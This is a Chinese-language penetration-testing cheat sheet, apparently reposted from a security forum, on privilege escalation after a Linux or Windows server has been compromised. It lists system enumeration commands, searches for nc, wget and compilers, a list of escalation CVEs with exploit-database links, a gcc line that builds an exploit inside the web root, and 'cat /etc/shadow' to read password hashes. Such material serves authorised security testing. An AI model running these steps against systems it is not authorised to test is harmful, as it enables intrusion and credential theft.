//检索Apache目录 find / -path "*apache*" -name apache*conf //检索Apache配置目录 网站首页 find / -name "index.php" //定位网站目录 find / -name "index.html" //定位网站目录 日志文件检索 /var/log/nginx/ //默认Nginx日志目录 /var/log/apache/ //默认Apache日志目录 /var/log/apache2/ //默认Apache日志目录 /usr/local/tomcat/logs //Tomcat日志目录 tail -f xxx.log //实时刷新滚动日志文件 3.3.3 Linux提权 查询系统版本信息命令: cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release 查询内核版本信息命令: uname -a uname -mrs cat /proc/version cat /etc/issue lsb_release -a hostnamectl rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz 查看系统环境变量命令: cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set 查看语言环境信息命令: find / -name perl* find / -name python* find / -name gcc* find / -name cc set 查看文件上传环境信息命令: find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp 这里列举一些可用利用的提权漏洞: CVE-2023-0386(Linux OverlayFS权限提升漏洞) CVE-2021-4034(Linux Polkit本地权限提升漏洞) CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 ) CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64)) CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8) CVE-2017-1000367(sudo本地提权漏洞 ) CVE-2016-1247(Nginx权限提升漏洞) CVE-2017-16995(Ubuntu16.04 kernel:4.14-4.4) Kali命令查询: searchsploit CentOS 7 searchsploit Ubuntu 16.04 提权Exploit寻找: http://www.exploit-db.com http://metasploit.com/modules/ http://securityreason.com http://seclists.org/fulldisclosure/ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main 编译提权Exp gcc -o /usr/share/nginx/html/***** /usr/share/nginx/html/*****.c -Wall 直接提权,确认权限: cat /etc/shadow 其他提权姿势:https://www.freebuf.com/articles/system/244627.html 3.3.4 Windows提权 这里列举一些Windows的漏洞: 各种Potato(Github上面基本都有) CVE-2023-35359(Windows内核权限提升漏洞,开源了) CVE-2022-24521(没有Exp的可以找我要) CVE-2019-1405 CVE-2019-1322 MS17-017(整型溢出漏洞) 转载于原文: https://forum.butian.net/share/2536